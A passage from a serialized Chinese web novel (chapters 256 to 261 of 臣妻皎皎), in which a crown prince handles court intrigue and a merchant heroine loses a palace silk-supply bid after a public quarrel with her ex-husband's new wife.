皇上依旧躺在床榻之上,相比前些时日,他的脸红润了不少,呼吸平稳,只是依旧昏迷着。 “宫外都传,皇上昏迷是我所致,想必也是平王叔的手笔吧?” 不知何时,沈云祉已经坐了下来,桌上摆放着两杯倒好的茶,他将其中一杯放到自己的对面。 “本王不知你何意。” 平王也坐了下来,但眉眼间依旧满是高傲,一副不见棺材不落泪的模样。 沈云祉轻笑出声,他也没指望平王能承认。 “无妨,不管是不是平王叔做的,我都会处理?” “你还是太年轻,人言可畏的道理,你是否懂得?” “平王叔忘记了,我如今是太子,未来的储君。” 听到这句话,平王的眼睛都不禁微微颤抖,他最恨的便是如此。 平王从年轻时便当今皇上争皇位,皇上病体孱弱,他以为他终于等来了机会,却不想又被眼前人捷足先登。 “哼,登高易跌重,太子还是小心一些的好。” 平王的不屑里都带着愤怒,无法掩饰。 沈云祉是善于摆弄人心的,他一直都知道平王在意什么,介意什么。 “平王叔,先帝在时议储,哪怕是皇上身体不好,却还是被立为太子,而您屡次上请要个机会,先帝都不曾给,你可知为何?” 这是当年的事,也是平王心里的一根刺。 平王自然知道是为何,先旁觉得他自私自利,难提大任,所以从未考虑他。 “那又如何?云南王也是颇有战功,却也一样不在议储之列。” “那是因为我父王不想要,平王叔不知道吗?先帝设立太子前,曾问过我父王的意思,我父王有自知之明,深知自己不是帝王之材,当场拒绝了。” 沈云祉突然扬起嘴角,一抹挑衅的笑袭上脸庞,再一次缓缓开口。 “如今也一样,皇上之所以立我为太子,是因为我父王不愿继承皇位,这才落到我头上。” “你胡说。” 平王怒了,猛然起身间,还将桌上的茶盏一扫而落,杯盏在地上四分五裂,可巨大的声响都没有惊动床榻之上的皇上。 沈云祉没有说话,只是迎着他的目光,眼中的笑意愈发浓烈。 平王无法再留下去,转身便欲离开,但在门口处,他又停下脚步。 “既然话已说到此处,本王倒是想问一下,就算你知道我要收买守城将领,也需要提前准备,可我今日入宫是两个时辰前才做的决定,你又是如何知晓?” 自然是因为顾皎皎。 顾皎皎向双剑传信,沈云祉便知事态紧急,所以第一时间与云南王商议,将宫城之中严密部署。 他也是没有想到,平王来得这样快,也这样巧。 他是该好好谢谢顾皎皎的。 “平王叔在皇室这许多年,这种眼线暗藏的事,还需要问吗?” 沈云祉自不会提及顾皎皎三字,而他随意扯个理由也足以应付平王。 平王拂袖而去。 沈云祉脸上的笑意散去,他知道他若是再不有所动作,接下来还不知道会发生什么事。 平王带兵闯宫一事被沈云祉拦下来,也下令没有让一丝消息外泄。 忙了一夜,沈云祉坐在书案前,单手拄着头,昏昏欲睡,他很累。 正在此时房门打开,一屡阳光照进来,随之一个人影踏进来。 沈云祉没有睁眼,只是侧了侧身。 “父王,您就让我歇息一下。” “我也不是成心要打扰你,只是看着你的人又出宫去了,有些不放心。” 云南王坐在他对面,停顿了一下后,又继续说了下去。 “狗急跳墙,平王便是那狗,你昨夜处置的很好,给了他台阶,若是逼急了,他不定会做出什么事,皇上未醒,大局难定。” “父王说的是,儿臣也这般想。” 沈云祉这才缓缓睁开眼,眼底布满了红血丝。 他的疲累不是因为昨夜的那场‘宫变’,而是自皇上昏迷以来,他一直是亲自照料,连日下来,几乎是没有睡过一个整觉。 “既如此,你派出去的人,不是对付平王?” 这才是云南王真正担忧的。 沈云祉摇了摇头。 “平王受此重创,人心尽失,暂时已经不用管他了,我派人出去,是为了杀鸡儆猴。” 云南王看着自己的儿子,才发现,他对沈云祉知之甚少, 沈云祉是何时动了王位的心思,是何时远在云南却在京部署,又是何时开始行事稳妥,滴水不漏的,这些,云南王一无所知。 “罢了,你心中有数就好,今日我替你守着皇上,你睡一会儿。” 云南王站起身,出门后还将门给他带上。 沈云祉像是得到了某种恩赐,干脆直接躺了下去。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百五十六章 他是有这个能力的 京城里的流言似是一夜之间便消失了。 顾皎皎在第一楼听到一些老顾客的议论,说是今日一大早京都守备的人便来了,但凡是有关议论朝堂之事的,都给予了教训。 惩罚倒是不重,但到底是去了京都守备,无论是一些官员,还是百姓都不会去主动招惹。 这番操作下来,大家心里也有个数,无论背地里的人怎么使坏,也都成为了沈云祉的手下败将。 听着这些,顾皎皎的脸上不自觉的袭上一抹笑意。 他是有这个能力的。 “皇室重子嗣,太子殿下如此能干,怕是很快便会议亲吧。” “这种事你我就不要操心了,无论是太子妃还是侧妃侍妾,那都是要万里挑一的,家世,人品,相貌,无一不在考量之中。” “是啊,只可惜我们只是微末小官,就算家中有女,也是够不上的。” …… 一些议论声又再次响起,二人言语中的羡慕与不甘都那样明显。 顾皎皎准备上楼的脚步顿了顿,心底似是被什么压着一般。 “姑娘?” 莺儿在一旁疑惑开口。 顾皎皎回过神,有些勉强的笑了笑,才继续向楼上走去。 在阁楼里,顾皎皎微低着头似是思索着什么,抬头时看着莺儿正在忙碌着。 “莺儿,你说大家世族娶妻,是不是都是需要挑挑选选的?” “自然了,门当户对,自古以来的规矩嘛。” 莺儿脱口而出,但又马上意识到自己的言语有问题,忙转过头看向顾皎皎。 “姑娘,你不一样的,那安阳候府也算不得什么大族,一家子小人,姑娘曾嫁过去,是委屈了姑娘。” 她的言语都有些慌乱,生怕顾皎皎多想。 顾皎皎确实不得不想。 当年她的父亲为了她不被人指点,不惜陪上无数嫁妆,也要将她送入候府,抛开安阳候府不谈,也算是顾皎皎高嫁。 可即使是安阳候府那样见财眼开的人家,都不曾将她放在眼里,更何况是别人呢? 这商户之女的身份,她终究是一生都脱不掉的。 “姑娘,姑娘你别难过,是我说错话了。” 莺儿小心上前,轻拉起顾皎皎的衣角,轻轻摇晃。 顾皎皎收回思绪,抬手轻捏了下莺儿的脸颊。 “我没有难过,只是觉得幸好离开了安阳候府。” 她没有将自己的心事说出来,而是转移了莺儿的注意力。 刚刚还有些自责的莺儿立马喜笑颜开。 “对啊,自离开了候府,姑娘整个人都开朗了许多,又结交了杜大人,还有太子殿下,以后也会越来越好的。” 提到沈云祉,顾皎皎眼底有一抹异样的光芒闪过。 “好了,不说这个了,今日午后没什么事,你陪我一起去查账吧。” 她所谓的查账,查的自然是沈云祉的产业。 沈云祉现在虽为太子,但自己的私产也终要顾好。 安阳候府。 徐青青如今在这候府里算是一手遮天。 孙老夫人带着她那两个儿媳,几次对徐青青发难,但最后都败下阵来,时间久了,她们便也不敢再轻易招惹。 章氏与刘氏是最会见风使舵的,几次三番的讨好的徐青青,自也是在徐青青那里得到了不少好处。 “三弟妹这皮肤是真的好,这人美啊,上天都是眷顾着的。” 刘氏张扬的笑声响彻整个屋子,看着眼前的徐青青,也是一副羡慕不得了的模样。 徐青青之前过的不甚如意,如今被人夸着捧着,自是喜不自胜。 她抬手扶了扶鬓边并不凌乱的头发,脸上娇羞的笑那般明显。 “嫂嫂又取笑我,不过,我近日确实新得了一种涂脸的胭脂,用着不错,我也依样给二位嫂嫂都备了一份。” 徐青青初入这候府时,也是与这几人斗过的,但,风水轮流转,徐青青也要培养自己的势力,这二人虽然没什么根基,也恰巧好拿捏。 “三弟妹有心了,到底是郡主,可不是那些世家小姐能比的。” 章氏说着时,将一个食盒从丫头的手上拿下来,又接着道。 “你也知道,嫂嫂身无长物,这些点心是我亲手做的,拿给你尝尝。” 章氏总是给人一种温婉的感觉,也是最善于伪装的。 徐青青自是不将那些糕点放在眼里的,却还是命身边的青儿接下。 “大嫂嫂的手艺是最好的了,比府中的厨娘好了不知多少倍。” 三人互相称赞着,也互相在彼此的身上得到自己想要的利益。 “昨日母家来人,说是皇宫里丝织局又到了一年一度选商户的时候,想来今年是格外热闹的。” 章氏似是突然想起一般的说道。 刘氏最是没脑子的,根本不知道章氏提起此事是意有所指。 “为何?每年不都如此吗?” “不一样啊,听闻顾皎皎的霓裳阁很是被丝织局看好,怕是之前供货的就要被换掉了。” 提到顾皎皎,刘氏的脸色立即难看了几分。 “这个顾皎皎真是阴魂不散,好的不学,学的一身的狐媚手段,不然就凭她也配又是第一楼,又是霓裳阁的?” 刘氏咬牙切齿,却丝毫不管那些产业,是顾皎皎早就在打理的。 “谁说不是呢,当初她若不是攀上了太子殿下,怎会有这般好的机遇。” 章氏一边附和着,一边也用余光瞟了徐青青一眼。 此时,这位孙三夫人的脸色可不好看,徐青青可以不跟任何人比,却怎么都会跟顾皎皎比。 “二位嫂嫂,我有些乏了,去里面躺一下,二位嫂嫂自便就是。” 徐青青缓缓起身,隐藏着自己的情绪,似是没有听到她位的话一般。 章氏立即起身。 “弟妹说的是,近来府中事务繁杂也是该多休息的,那我们便不打扰了。” 章氏微微点头,便转身离开。 刘氏不明所以,她是不想走的,若是多留一会儿,也许徐青青还会给她们一些别的好东西,但章氏已经离开,她也只得跟随。 踏出门外,刘氏似是反应过来。 “嫂嫂,你为何会提起顾皎皎,这不是惹三弟妹不快吗?” 她这声三弟妹叫得倒是极为顺口。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百五十七章 没有让我失望 章氏回头看了看徐青青所住的院子,别说屋里,就是只这院落便是万金之数,江南名贵的花草,精心挑选的鹅卵石的石子路,栽种树木专用的土石,就连侍候的下人都有二十几个。 这样的待遇,他们大房与二房怕是一辈子都够不上。 “你难得想一辈子都被这徐青青压着吗?” 章氏的声音都冷了几分。 她虽门第不显,可也是正正经经人家的姑娘,可那徐青青呢?贱人所生,又未过门便与男子同寝,就算她有郡主的身份,章氏也是瞧不起的。 刘氏更是如此,只是刘氏没什么本事,要在这府里过活,她也只能依靠徐青青。 “嫂嫂说的自然是对的,可是我们又有什么办法?她到底是郡主,连母亲都让她三分呢。” “那便让她去跟别人斗,去闹。” 章氏毫不犹豫的说道。 她也一样依靠徐青青,但却打心眼里不希望徐青青一直这么顺利下去,她自然也知道,顾皎皎便是徐青青心头的那根刺。 刘氏此时也明白了她的意思,却又马上担心起来。 “她们斗我是没有意见,但若是徐青青输了,会不会影响我们,影响候府?” 这候府还有什么值得影响的吗?只孙协兆一人,便早已让这候府臭名昭着,还有什么可担心的? “她是郡主,就算败给顾皎皎,她的身后还有平王,难道只会眼睁睁的看着不成?” 章氏压低了声音,刘氏在一旁瞬间笑的灿烂无比。 而此时,徐青青正在命青儿找她陪嫁的单子。 “夫人,找到了。” 青儿拿着一张单子走过来,递到了徐青青的手中。 徐青青看着那张单子,喜笑颜开。 平王对她并不重视,但到底是在平王府出嫁的,平王怕面上无光,也是从私产里拿出几份给了徐青青作为陪嫁。 她手里这份便是一个布庄,不大不小,但之前因着是平王的关系,生意也算不错。 在此之前,徐青青从未将这布庄放在眼里,她不是做生意的料,甚至都没有去看过,如今倒是派上用场了。 正在此时,外面有人来报,说是孙协兆回来了,徐青青便带着这张单子前往了孙协兆的书房。 夜幕降临。 顾皎皎拖着疲惫的身体回了顾府。 她今日午后便去查了沈云祉产业的账目,其他的一切正常,但其中有两家的掌柜暗中做了手脚,从中落了不少钱。 他们自认为做的天衣无缝,可顾皎皎是经年老手,只扫了一眼便发现其中问题,但她并没有声张。 “姑娘,今日那两家,你当时怎么没有发落他们?” 莺儿为顾皎皎宽下外衣,而后帮妇也卸掉头上的珠钗。 “他们是太子的手下,曾经也是得到太子信任的,想必这二人的手里也有一些把柄,此时太子殿下不在,我若发作,他们见瞒不住,狗急跳墙便不好了。” 顾皎皎说着时,也忍不住打了个哈欠。 “姑娘向来是胸有成竹的,今日姑娘也累了,早些歇息吧。” 莺儿眼中满是心疼。 顾皎皎抬头看了一眼窗外的夜色,轻叹了一口气。 “我还要看一下霓裳阁的账薄,莺儿,去给我煮碗参茶吧,提提神。” 在她得知宫中的丝织局欲再次选货后,她便马不停蹄的准备,以确保万无一失。 “姑娘,离丝织局选拔还早着呢,不必急于一时,您眼睛都红了。” 莺儿劝说也是无用,顾皎皎决定的事,她也改变不了。 顾皎皎只冲她笑笑,莺儿便也只好转身离开。 她确实也做好了准备,但也想到一些坏的结果,所以要做多手准备。 月光皎洁,圆圆的照在她的窗子上,显得屋内的蜡烛都暗了一些。 顾皎皎看着这月亮扯了扯嘴角,眼中的光芒有些黯淡。 沈云祉便如这月亮一般,皎洁清冷,看着极美,却不能靠近,而她这等身份之人,更是不该有妄念。 从听到有关沈云祉日后婚配的女子的要求时,顾皎皎便清醒了大半,她劝说着自己,不该沉溺于心底的那抹温情,而应该以生意为主。 现下,打造霓裳阁成为皇商,便是最要紧的事。 皇宫。 沈云祉动用了兵符,调动京都守备,也就意味着,他接管京城里的事务,有一些欲讨好他的大臣,便上书让他代皇上处理朝政。 沈云祉拒绝了。 动兵是不想让动乱发生,但若是上了朝堂,那可就是僭越了。 对于皇上的照顾,沈云祉一直是亲力亲为,他既被立为太子,那必然要行太子之事。 只是,连日下来,沈云祉也面露疲惫之色。 双瑞从外面进来,将一张纸条递到了沈云祉的手中。 “双剑刚传入宫中的。” 沈云祉打开纸条,上面是两家商铺的账目出现问题,双剑得知,必然是顾皎皎给他的消息。 他低垂着眼眸,深邃的眸子里闪过一抹笑意。 “选定顾皎皎,着实不错,她也果真没有让我失望。” 沈云祉坐下,倚靠在榻上,手中的纸条翻来覆去的看了几遍。 “殿下,要不要告知顾姑娘,让她将那二人处置了?” 双瑞一脸认真的询问着。 “她无官无职,如何处置?这二人为我做事许久,自有他们的本事,若是惹急了,不定做出什么事。” 沈云祉将那纸条放在蜡烛之上,看着火焰越来越旺,而后随手丢在一旁。 “安排一下,近两日抽个时间出宫,我亲自去。” 没错,他得事先安排。 在这皇宫之中,沈云祉可用的人并不多,云南王身边的侍卫也没有几人,他每次离开皇宫,都要确保宫内不会乱,皇上不会有事才行。 “是,属下这便去办。” 双瑞应下后便离开了。 蜡烛的光有些晃眼,沈云祉看了一眼窗外,与外面不同,这皇宫繁华巍峨,任何所见之处皆是美景,只是宫墙深深,甚为艰难。 翌日。 顾皎皎将自己准备好的料子以及几件新样式的衣衫仔仔细细包好,莺儿立即上前拎了起来。 今日便是丝织局的第一轮选拔,各商铺带着自己的东西去检验。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百五十八章 一箭双雕 京城,向来是人人向往之地。 人们常说京城遍地黄金,所以那些人头挤破头也想在这里有一席之地。 今日,顾皎皎也算见识到了。 在一处院子里,屋门还未开,便已挤满了人,各个人的手中都拿着一个包裹,包的严严实实,自是怕被对方发现自己的布料以及样式。 顾皎皎站在院外,轻轻的叹了口气。 “以前怎么不觉得京城里的布庄商铺这般多。” 莺儿在一旁小声嘀咕着,却也谨慎的将自己怀中的包裹抱的更紧了一些。 “都是一些小铺子,平日里也只是赚些小钱,如今有这样一个机会,试一试也是理所应当。” 顾皎皎说着时,也环顾了一下四周。 宫中的丝织局要选供货的铺子,那便就是皇商,所选拔的自然也是一些有实力的,那些小铺子,怕是要白跑这一趟了。 “哟,这不是顾掌柜吗?这般巧。” 只听着这娇柔做作的声音,顾皎皎就不禁皱了皱眉头,待转身之时,徐青青与孙协兆已然站在她身后了。 “皇商需要的,向来是有头有脸的铺子,顾掌柜今日前来,怕是有些自不量力了。” 徐青青上下打量着顾皎皎,眼中流露出鄙夷之色,言语更是充满挑衅。 顾皎皎今日的装扮并不出挑,一身素色的衣裙,长发束起,若不是那张好看的脸,即使是落在人群中也不显眼。 而徐青青则不一样,一身粉红色的丝绸衣裙,金线密织,在阳光下闪闪发光,而她身上以及头上的配饰看着都极重。 这也是徐青青嘲笑顾皎皎的其中一个原因。 “能在此处见到二位,真是我的不幸。” 顾皎皎神色淡然,不卑不亢,足见她不将眼前的二人放在眼里。 自然,在此之前,她从未听说徐青青与孙协兆二人有布庄的生意,这突然冒出来,也是她没有想到的。 “你的不幸何止是见到我们,从你出生于商户人家,又成为弃妇,你这半生啊,都是不幸的。” 徐青青抚了抚自己身上的斗蓬,那上面的皮毛油光水滑,如今只是初冬,完全还用不到皮毛斗蓬,她这般穿出来,自是为了炫耀。 “哦对了,这丝织局的供货权归我了,你还是早早回去吧,免得在这里浪费时间。” 徐青青又补了一句,满脸的高傲与自信。 她这四脚发达,五谷不分的样子差点将顾皎皎逗笑。 “凭什么?凭你们夫妇二人不要脸啊?” 顾皎皎眨巴着一双水汪汪的大眼睛,装出无比认真的模样。 “顾皎皎,注意你的言辞。” 孙协兆突然低吼出声,脸上怒气那般明显。 顾皎皎侧目打量着他,不由得翻了个白眼。 “会咬人的狗不叫,你乱吠什么?再说了,今日众商铺聚集于此,都是凭的各自的本事,你们一句归你了就归你了,怎么?皇商的事,你们说了算了?” “顾皎皎,你这个贱人……” 孙协兆咬着牙,不禁向前一步,却被一旁的徐青青拉住。 “顾掌柜不服也没办法,我是平王的女儿,这丝织局再大,还能大过王爷吗?我若想要……” “少胡说了,你想要的那么多,平王除了给你一个废物孙协兆,还给你什么了?” 顾皎皎毫不犹豫的打断了徐青青的话。 一箭双雕。 徐青青与孙协兆的脸上都是青一阵白一阵,看向顾皎皎的目光都似是要吃人一般。 顾皎皎本不想再理会他们,便欲转身离开,可是徐青青是个不吃亏的主儿,快走两步挡在了她面前。 “顾掌柜,就算你曾经是孙夫人,可你们到底是和离,如今本郡主已然进入安阳候府,你就莫要再惦记了。” 徐青青说这话的时候,故意提高了音量。 人嘛,对于这种事是最为好奇的了,周围的看似没什么举动,实则一个个都竖着耳朵等着故事的发展呢。 顾皎皎无语至极。 要不说这徐青青与孙协兆是天造地设的一对呢,所用的招数都几乎一模一样。 “我也知你不甘心,可是今日毕竟是大事,稍后还有宫里的人过来,顾姑娘,你再这般纠缠,对自己的名声也不好。” 徐青青是最会伪装的,清澈的的眸子里一片赤诚,那张倾国倾城的脸上,又装上了一副贤良大度的模样。 顾皎皎看着听着,也只得陪她演下去。 “名声?郡主在意名声吗?未成婚便与孙公子苟且,还被人当众捉住,这是什么好名声?或者说,这是平王府的家教?” 顾皎皎看着徐青青眼中的慌乱,不给她说话的机会,便又马上说了下去。 “哦对,我忘记了,你从小到大都不被养在平王府,听说是小娘养育长大,也难怪你会说出这番奇怪之言,不过你可以放心,我既和离,就会远离你的夫君,我也是怕沾一身晦气的。” 顾皎皎挑眉之时,孙协兆立即将徐青青护在身后。 “顾皎皎,你别欺人太甚,满口胡言,我不会放过你的。” “胡言?哪句不是真的,你们当日被抓住,可是有很多人证的,倒是孙公子,人总是要知道感恩的,你们安阳候府吃喝着我的嫁妆,你还用我的银钱养一个没名没份的外室,你是怎么好意思的?” 他们既然想让人别人看笑话,那顾皎皎就如他们的愿,热闹嘛,总是人越多越好。 此时,周围那些人甚至都没有掩饰一下,便都围了过来,小声议论着的,也大有人在。 “你血口喷人。” 孙协兆慌了,不说顾皎皎是哪句说的不对,只会瞪着眼睛大吼着,似是想用这样的方式证明自己的清白。 他还是和从前一样,那人模狗样的外表下,藏着一无是处,自私自利的心脏。 “公子莫要着急,这些事都已经是过去的事了,你扶正这位没有正式名分的‘郡主’,我自也是为你高兴的,愿二位恩爱白头。” 顾皎皎的厌恶那般明显,周围甚至也因为她的话传出偷笑之声。 孙协兆面上挂不住,差点转头就跑,可是徐青青却是不会逃的。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百五十九章 怎么还敢拿出来? “顾皎皎,你还是管好你自己吧,身份低微,又是弃妇,就算你有本事勾引其他男子,不也就是个姘头的角色,这辈子,但凡是个正经人家,都不会要你这种女子。” 徐青青高昂着头,对于自己做过的事丝毫没有心虚,反而是更为得意了。 这是平王给她的底气,哪怕不是个正经郡主,也到底是有事实存在。 顾皎皎心底燃起一股怒气,自是因为知道徐青青意指何事何人。 “你自己是怎么上位的不清楚吗?还有,你真以为安阳候府娶你进门是因为看中你?不过是看中你的身份,你的银钱罢了。” “顾皎皎。” 孙协兆大喝一声,想要制止顾皎皎。 此时,顾皎皎是生气的,转头狠狠的瞪了孙协兆一眼,又继续说了下去。 “以前,他们孙家依靠吃我的嫁妆活着,如今把你捧在手心上,就是吃你的傍身钱,你身上好歹也流着平王府的血脉,就不会学你父王一样,擦亮眼睛看清你身边的这个败类?” 这些话,顾皎皎从未说过。 即使是在她与孙协兆和离时,所言的那些事实,也不像现在这般尖锐。 她的胸口微微起伏,面色上都蒙上一层怒气,一旁的徐青青立即看出,此时的顾皎皎正是怒火中烧的时候。 徐青青别的本事没有,但察颜观色却也是一绝,不然也不可能将孙协兆牢牢抓在手中。 “你做不到的事情,还不允许别人来做吗?” 徐青青突然笑的灿烂,上前一步从头到脚打量了一番顾皎皎,又无不鄙夷的说道。 “安阳候府要钱也好,协兆要权也罢,恰巧我都有,他们是吸我的血,吃我的骨头,我可为了我夫君心甘情愿,我不像你自私自利。” 徐青青越说越得意,还围着顾皎皎转了一圈。 “一直听闻你生意做的不错,酒楼商铺在京城里也开了不少,可是守财奴的本性却改不掉,曾经你们也是一家人,花些钱你都不愿意,离开时还拿走了府里所有的银钱,真是没有任何良心可言。” 这些话从徐青青的口中说出来,让人觉得恶心,而她身边一旁的孙协兆更是双眼放光看着她,眼底满是炙热。 “青青,我就知道此生遇见你才是我最大的幸运,这世间再没有女子可与你相比。” 孙协兆倒是会找准机会,当着众人的面,脸不红心不跳的说着此话。 看着这两个人,顾皎皎的怒火已经压抑不住,她上前一步,准备将几个耳光甩到徐青青的脸上。 可就在这时,院子里的大门打开了,里面出来人叫在场的人准备,顾皎皎也只能看着徐青青得意的从自己眼前走过。 丝织局的供货权,每个人都是期待着的,自然被淘汰的人也越来越多。 顾皎皎将自己布料与成衣交上去的时候,心里七上八下,而面前的那几位查看的人却瞬间眼露惊喜。 “金线密织能做到如此细密实在难得。” “这双面绣也极为精致,可与宫中的绣娘相较。” “这料子细腻柔软,极为少见,之前在宫里见过的,还是别国进供的。” 几人小声的议论着,可见对顾皎皎拿上来的东西极为满意。 顾皎皎心里的这块大石头在缓缓落下,可就在此时,徐青青却直接走了过来。 “几位大人,先看看我的吧,我带来的衣料比她的不知强了多少倍。” 徐青青还刻意撞了顾皎皎一下。 她如此自信,倒也让那些内官好奇,毕竟他们今日的职责便是挑选出最优秀的供货商铺。 几人打开了徐青青带来的包裹,只一眼,几人便面露嫌弃之色,周围看着的人也不禁嘲笑出声。 “这位姑娘,这种东西连城中铺子都少卖了,你还拿出来争供货权啊。” “这样式,这衣料已然是四五年前的了,怎么还敢拿出来?” “姑娘,你放弃吧,你照旁边这位姑娘差的可是十万八千里呢。” …… 劝说声,嘲讽声,还夹杂着笑,让徐青青脸色越发难看。 几位内官面面相觑,彼此都已做出决定,而就在他们准备将那包裹还给徐青青的时候,徐青青却突然开口。 “几位大人可看清楚,此女子可不是什么正经人,狐媚下作,为达目的不择手段,她的东西再好,也沾染着臭味。” 顾皎皎并没有想到,即使在宫里的人面前,徐青青也敢如此放肆。 “徐青青,你别得寸进尺。” 顾皎皎只是低声提醒着她,可她却丝毫不放在心上,看着那几位内官再次说道。 “到底是丝织局,想必也不会只看东西,不看人品吧?” “这位姑娘,我们的职责就是挑选上好的料子与衣样,哪家好便用哪家,至于其他的不归我们管。” 其中一位内官是看不过去徐青青如此猖狂才说道,自然,他们也是真的很喜欢顾皎皎带来的东西。 眼见着,那几人便要定下顾皎皎,徐青青自然不肯,她得不到,也绝不会让顾皎皎得到。 “我是平王的女儿。” 徐青青在急切间高调宣布,让几位内官一脸震惊,就连周围那些看热闹的人也都闭嘴安静下来。 “我本想与大家一起公平竞争,可若是你们选了这个贱人,那我便好好跟你们说道说道。” 徐青青媚眼高挑,高傲又张扬。 那几位内官虽是宫里人,可碰到平王他们自是无力阻挡,毕竟在皇宫里生活久了,他们早就知道,人命不值一提。 他们甚至没有给顾皎皎解释的机会,便将那些东西还给了她。 顾皎皎不是傻子,知道有徐青青的阻挠,她就算是磨破嘴皮,也无济于事了。 她抱着自己精心准备的衣料,紧了紧掌心,最后只得离开。 看到顾皎皎无奈离去,徐青青更为得意。 “诸位大人,如果我今日中选,必不忘大人们的功劳。” 徐青青是有脑子的,但不多,当着大家的面说出这番话,让在场的几位内官都面露尴尬。 “姑娘,我们都是按规矩办事的,你的料子不符合我们的要求。” 徐青青被无情的拒绝了。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百六十章 陪我一起 顾皎皎回了顾府。 在进门的那一刻,她便将自己的斗蓬重重的甩到了椅子上。 莺儿难得的安静了一路,为顾皎皎倒茶时也显得小心翼翼,已经许久了,她没有见到自家姑娘生这么大的气。 “他们就是一对贱人,阴魂不散。” 顾皎皎咬着牙开口,这样的话,也是第一次从她的口中说出来。 莺儿将茶放在桌上,站在一旁轻声开口。 “姑娘莫气,他们的话完全不用放在心上,如若姑娘实在气不过,我现在就去找王吉,让他想办法给您报仇。” 顾皎皎却摇了摇头。 她生气不只是因为徐青青与孙协兆说的那些话,也因为他们害她丢了丝织局的供货权。 为了能成为皇商,顾皎皎花了很久的心思与精力,难得有这样一个机会,就被徐青青硬生生的给毁了。 “报仇是要报的,但现在还不是时候。” 顾皎皎冷静了一些,缓缓坐了下来,桌上的茶徐徐冒着热气,她端起,可以看到杯中她的倒影。 “姑娘也累了,不如我给你拢个暖炉,睡一会儿?” 莺儿的眼中满是担忧。 顾皎皎抬起头,冲莺儿笑了笑。 “我没事,你不必担心,只是今日被那二人气昏了头,又失了供货权,一时情急罢了。” 她在心底里暗暗的沉下一口气,也让自己的情绪慢慢平复。 她深知她的愤怒不会让她得到什么,反倒会给别人可乘之机。 “莺儿,去打听一下,看丝织局的供货权最终给了谁,若是落在徐青青手里,那便让她好看。” 顾皎皎从来都不是逆来顺受之人,如若宫里碍着平王的关系,将那供货权给了徐青青,那她必然不会只眼睁睁看着。 “是。” 莺儿立即应下,随后便派了两个可靠的人出门。 顾皎皎起身站到门边,风吹进来,微凉。 她算了下时间,按照之前皇上的旨意,今日本是应该在皇宫里设宴,只是如今皇上未醒,这旨意也就无需执行了。 顾皎皎眼底尽显疲惫之色,她走回屋内,在榻上倚靠下来。 不一会儿,莺儿带着人准备好了午膳。 顾皎皎坐在餐桌旁,看着桌上的膳食,不禁扬了扬嘴角。 莺儿是懂她的是,知道她生气的时候向来没什么胃口,所以让厨房准备了几道开胃的小菜,其他的菜式也极为清淡。 “姑娘,有消息了。” 莺儿将其他的下人打发走后,才凑近顾皎皎耳边小声的开口。 “徐青青带去的料子丝织局根本看不上,最终丝织局也只是定了之前的供货商。” 听到这个消息,顾皎皎的心情倒是好了一些。 她从不会嫉妒别人,可是徐青青不一样,这个女人若是拿到了供货权,她怕是夜不能寐。 “这样便好,可见,那些内官也是有些主见的。” 顾皎皎边吃着餐食,边低声说着,神色都和缓了许多。 “是啊,我们的人还打听到,徐青青当众表示若内官选了她,她会奉上大礼,将内官吓的不轻,急忙将她赶出去了。” 莺儿说着都忍不住笑出了声。 顾皎皎倒是并不意外,她所熟识的徐青青就是这般蠢,能有今日风光,无非靠着平王府以及她那张确实美艳的脸。 “姑娘,那我们是不是需要……” “不急,此时若是动手,太过引人注目了。” 顾皎皎看了看身后,在确定那些下人都在院子里时,指了指对面的椅子。 “莺儿,坐下,陪我一起。” 在外人看来,她们是主仆,但经过过安阳候府的苦难后,顾皎皎更将莺儿当成自己的家人。 莺儿也不做作,立即坐了下来。 安阳候府。 徐青青与孙协兆回到候府,两个人的脸色也是极为难看。 虽然今日教训了顾皎皎,可是没有拿到供货权,终究让他们有些不服气。 “宫里的这些下人实在是不知好歹,我都已经说的那样直白了,他们竟是一点情面不留,日后,我定告知父王,让父王好好教训教训他们。” 徐青青气鼓鼓的,手中的手帕都被她甩的快飞起来一般,当然了,她也只是说说而已,这种事她自是不敢拿到平王面前的。 孙协兆坐在她身边,轻轻拉着她的手。 “夫人莫气,一个小小的供货权而已,没有就算了,日后我定会位列朝堂,不让你再受这般屈辱。” 孙协兆一脸真诚,看向徐青青的目光里也满是柔情。 徐青青噘着小嘴,缓缓抬头,如娇如媚的眼神动人心魅。 “夫妻便是这天下对青青最好的人了。” 说罢,她侧身轻轻依偎在孙协兆的怀里,伏在他的胸膛,可以听到他有力的心跳。 孙协兆也顺势紧紧揽着她的肩膀。 “自然,为了你,即使是上刀山下火海,我也愿意。” 二人间的温情瞬间让那些不甘与怒火荡然无存,若不是外头有小厮来报,只怕又要缠绵多时。 “公子,老夫人有请。” 小厮只站在门外。 “知道了。” 孙协兆在里面应着,而后看向怀中的徐青青。 “母亲派人来叫,怕是有要事,我先过去。” “哼,什么要事,老太太不过是见不得你跟我在一起罢了。” 徐青青丝毫不避讳自己对孙老夫人的称呼,她入府多日,与这婆婆的梁子也早就结下了。 孙协兆自然是知晓的,但只要不影响到他,他也丝毫不放在心上。 “夫人莫说气话,我去去就回。” 他离开前还有徐青青的脸颊上留下一吻,徐青青只娇羞的转过头,任由他去了。 安阳候府的正堂。 自从孙协兆成婚,孙老夫人见他的时间便越来越少,除了出门,大部分的时间都由徐青青霸着。 时间久了,孙老夫人心里更是不悦,今日特意将章氏和刘氏叫来,要跟孙协兆好好谈谈。 孙协兆是揉着太阳穴进的正堂,甚至没有向孙老夫人见安,便坐了下来。 “母亲何事?儿累得很。” 他这话的意思是,让孙老夫人有话快说。 只看着他这般样子,孙老夫人便气不打一处来。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百六十一章 撑不了多久 “你看看你如今的样子,不上进,无底气,日日围着一个妇人转,成何体统?” 孙老夫人一开口便是指责。 孙协兆不以为然,倚靠在椅子上随意的打了个哈欠。 “母亲,莫要再说这些,我如今哪里不好?” 他确实过得很好,有空便出去与那些世家子弟喝酒闲聊,其余的时间便与徐青青恩爱闲逛,这许多年里,近来他是过的最好的了。 孙老夫人看着他的样子,听着他的话,不禁咬了咬牙,但还是强压着情绪,看了看门口处,在确定没有什么问题时,才再次开口。 “哪里算好?如今安阳候府确实有徐青青的势力和银钱,但终究不是长久之事,如今你在朝堂上无位,仕途无望,安阳候府是撑不了多久的。” 